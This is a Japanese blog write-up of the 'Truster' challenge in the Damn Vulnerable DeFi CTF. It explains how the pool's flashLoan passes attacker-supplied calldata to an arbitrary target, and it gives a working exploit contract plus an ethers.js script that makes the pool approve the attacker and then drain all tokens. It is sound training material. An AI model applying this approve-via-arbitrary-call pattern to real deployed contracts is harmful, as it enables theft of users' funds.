jiang

jiang

Man who has not escaped from low-class level taste.

ダムバルナブルディファイ-トラスターの解説

概要#

Damn Vulnerable DeFi は、イーサリアム DeFi スマートコントラクトの攻撃的なセキュリティを学ぶための CTF ゲームです。

このゲームでは、フラッシュローン、プライスオラクル、ガバナンス、非代替可能トークン(NFT)、分散型取引所(DEX)、レンディングプール、スマートコントラクトウォレット、タイムロックなど、さまざまな DeFi シナリオがカバーされています。

このような CTF スタイルの問題は、初心者が solidity/ethers.js の開発を学ぶのに非常に適しています。

チャレンジの説明ウェブサイト:https://www.damnvulnerabledefi.xyz/
チャレンジのソースコードアドレス:https://github.com/tinchoabbate/damn-vulnerable-defi

Truster#

問題の説明:
ますます多くのレンディングプールがフラッシュローンを提供しています。この場合、新しいプールが DVT トークンのフラッシュローンを無料で提供しています。

プールには 100 万 DVT トークンがあります。あなたは何も持っていません。

このチャレンジをクリアするには、プールからすべてのトークンを取り出してください。可能な場合は、1 つのトランザクションで行ってください。

解説#

私たちの目標は、1 つのトランザクションでプールからすべてのトークンを取り出すことです。

まず、プールのスマートコントラクトを見てみましょう。

function flashLoan(uint256 amount, address borrower, address target, bytes calldata data)
        external
        nonReentrant
        returns (bool)
    {
        uint256 balanceBefore = token.balanceOf(address(this));

        token.transfer(borrower, amount);
        target.functionCall(data);

        if (token.balanceOf(address(this)) < balanceBefore)
            revert RepayFailed();

        return true;
    }

上記のフラッシュローンでは、トークンを貸し出した後、target.functionCall(data)を使用して、ユーザーが渡した calldata を呼び出しています。
この点を利用して攻撃を行うことができます。target.functionCall(data)を使用して、トークンを攻撃用のコントラクトに Approve し、フラッシュローンが終了した後に Approve 済みの結果を利用してトークンの転送を行うことができます。

解答#

攻撃用コントラクト:AttackTruster.sol

import "../truster/TrusterLenderPool.sol";


contract AttackTruster {

    TrusterLenderPool _truster;
    DamnValuableToken public immutable _token;


    constructor(address truster, address tokenAddress) {
        _truster = TrusterLenderPool(truster);
        _token = DamnValuableToken(tokenAddress);
    }

    function attack(uint256 amount, address borrower, address target, bytes calldata data) external {
       _truster.flashLoan(amount, borrower, target, data);
       _token.transferFrom(address(_truster), msg.sender, _token.balanceOf(address(_truster)));
    }
}
it('Execution', async function () {
        
        attackContract = await (await ethers.getContractFactory('AttackTruster', player)).deploy(pool.address, token.address);
        const abi = ["function approve(address spender, uint256 amount)"];
        const iface = new ethers.utils.Interface(abi);
        const data = iface.encodeFunctionData("approve", [attackContract.address, TOKENS_IN_POOL]);

        await attackContract.attack(0, player.address, token.address, data);

});

完全な解答のアドレス:https://github.com/fenghaojiang/damn-vulnerable-defi

読み込み中...
文章は、創作者によって署名され、ブロックチェーンに安全に保存されています。